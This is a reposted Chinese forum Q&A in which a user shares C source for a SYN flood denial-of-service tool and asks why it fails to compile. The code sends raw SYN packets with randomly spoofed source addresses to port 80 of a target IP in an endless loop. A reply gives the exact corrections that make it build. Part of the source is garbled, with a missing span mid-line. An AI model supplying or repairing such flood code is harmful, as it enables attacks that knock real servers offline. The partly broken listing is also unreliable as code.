当前位置:  技术问答>linux和unix

linux SYN洪水源码问题

    来源: 互联网  发布时间:2016-11-28

    本文导语:  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #define DESTPORT 80  /*目的端口,定义要攻击的端口,80为web服务器*/ #define MYPORT 8888  /*自己的端口*/ //#define LOCALPORT 8889  //这个端...

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DESTPORT 80  /*目的端口,定义要攻击的端口,80为web服务器*/
#define MYPORT 8888  /*自己的端口*/

//#define LOCALPORT 8889  //这个端口是否要定义,如果不定义是从那里来的

int main(int argc,char *argv[])
{
  int sockfd;
  struct sockaddr_in addr;
  int on;
  on = 1;
  
  if(argc != 2){
     exit(1);
  }
  
  bzero(&addr,sizeof(struct sockaddr_in));

  addr.sin_family  = AF_INET;
  addr.sin_port    = htons(DESTPORT);
  inet_aton(argv[1], &addr.sin_addr);  //inet_aton()是一个改进的方法来将一个字符串IP地址转换为一个32位的网络序列IP地址。
  sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
  
  if(sockfd ip_v   = IPVERSION;
  ip->ip_hl  = sizeof(struct ip)>>2;
  ip->ip_tos = 0;
  ip->ip_len = htons(head_len);
  ip->ip_id  = 0;
  ip->ip_off = 0;
  ip->ip_ttl = MAXTTL;
  ip->ip_p   = IPPROTO_TCP;
  ip->ip_sum = 0;
  ip->ip_dst = addr->sin_addr; //出现问题

  /****开始填充TCP数据报*****/
  tcp          = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
  tcp->source  = htons(LOCALPORT);
  tcp->dest    = addr->sin_port;  //出现问题
  tcp->seq     = random();
  tcp->ack_seq = 0;
  tcp->doff    = 5;
  tcp->syn     = 1; /*表示SYN数据报*/
  tcp->check   = 0;

  /*循环发送攻击包*/
  while(1){
     ip->ip_src.s_addr = random();
     printf("地址是 %dn",ip->ip_src.s_addr);
     sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr)); /*发送攻击数据报*/
  } 
  return 0;
}


/*  错误的提示
syn.c: In function ‘main’:
syn.c:58:20: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:63:22: error: invalid type argument of ‘->’ (have ‘struct sockaddr_in’)
syn.c:74:46: error: cannot convert to a pointer type
*/
不知道为什么老出问题。真让我烦恼~!

|
ip->ip_dst = addr.sin_addr;
tcp->dest = addr.sin_port;
sendto(sockfd,buffer,head_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr)); 

LOCALPORT 需要定义
#define LOCALPORT 8889 

|
这个年头,还有人玩洪水啊

    
 
 

您可能感兴趣的文章:

  • linux/centos源码安装nginx编译配置选项参数介绍
  • 大家好,我有从网上下的BT源码和MPLAYER源码(是LINUX源码安装的)我想分析一下这些源码。可是这些源码有工作区么?
  • linux/centos下安装nginx(rpm安装和源码安装)详细步骤
  • 请问,shell的一些命令的源码在linux源码树中的那部分?
  • 搜索引擎蜘蛛源码,谁能帮我编译一下!!!源码相赠(没办法,我了解Linux!!!)
  • 都说Linux是开源的,在哪可以找到Linux的源码?
  • 书写基于Linux内核的键盘记录器(Writing Linux Kernel Keylogger)中的源码如何编译通过???
  • linux下命令应用软件的源码放在那里?
  • 关于Linux中的QoS部分源码分析
  • 求Linux下mplay(或其它播放器)源码
  • 如何学习linux命令源码
  • 哪本linux源码分析的书里详细讲解了Linux的核心启动代码
  • 咨询一下linux 源码的发布方式
  • 有没有玩的转LINUX源码的高手?
  • Linux字符模式下,有没有支持源码关键字的软件?
  • 请教:如何阅读linux下的源码
  • 可有人对linux的dhcp的源码分析过么?望各位指教,
  • Linux Device Driver 源码请教
  • linux命令源码阅读--求指点
  • 急求Linux下的rtsp服务器的源码?
  • Linux0.11 内核源码 main函数的参数问题
  •  
    本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
    本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • Linux下时钟同步问题:Clock skew detected原因分析及解决方法
  • linux 繁体 汉字输入法 问题 linux 繁体 汉字输入法 问题
  • Linux 下c++开发error while loading shared libraries问题解决
  • 先安装linux,后安装winxp,能否解决正常启动linux的问题不?(初学者问题,很容易回答)
  • 弱弱的一问,linux下的中文问题及网络问题,分不是问题
  • Linux新手问,Linux安装问题。
  • linux下游戏问题。(菜鸟问题)
  • 初学Linux,发现Linux下的版本问题很头痛。【系列问题】
  • 高深问题:有了linux内核源代码如何做成一个linux操作系统
  • 一个很菜的问题,关ARM与linux内核裁剪的问题!
  • vmware装的linux,通过win2000访问linux的web服务器有问题
  • 初次接触linux,关于linux 用户权限问题请教!
  • Linux下是否存在磁盘碎片问题和内存碎片问题?
  • 高深问题:有了linux内核源代码如何做成一个linux操作系统 iis7站长之家
  • vmware上装LINUX的问题,WIN7可以拼的通linux的IP,linux拼不通win7的IP
  • Linux互ping在局域网内大量丢包,但是linux和windows互ping就没问题。
  • 最菜的问题—关于linux“动态库”的问题
  • linux下挂载linux分区的问题
  • 一个小问题。Linux下编程语言的问题。
  • linux问题 secureCRT连接的问题 在线等急!~~
  • Linux下环境变量问题以及FLEX安装问题
  • linux c/c++ IP字符串转换成可比较大小的数字
  • 在win分区上安装linux和独立分区安装linux有什么区别?可以同时安装吗?(两个linux系统)
  • linux哪个版本好?linux操作系统版本详细介绍及选择方案推荐
  • 在虚拟机上安装的linux上,能像真的linux系统一样开发linux程序么?
  • secureCRT下Linux终端汉字乱码解决方法
  • 我重装window后,把linux的引导区覆盖了,进不了linux怎么办?急啊,望热心的人帮助 (现在有linux的盘)
  • Linux c字符串中不可打印字符转换成16进制
  • 安装vmware软件,不用再安装linux系统,就可以模拟linux系统了,然后可以在其上学习一下LINUX下的基本操作 了?
  • Linux常用命令介绍:更改所属用户群组或档案属性
  • 红旗Linux主机可以通过127.0.0.1访问,但如何是连网的Win2000机器通过Linux的IP去访问Linux


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3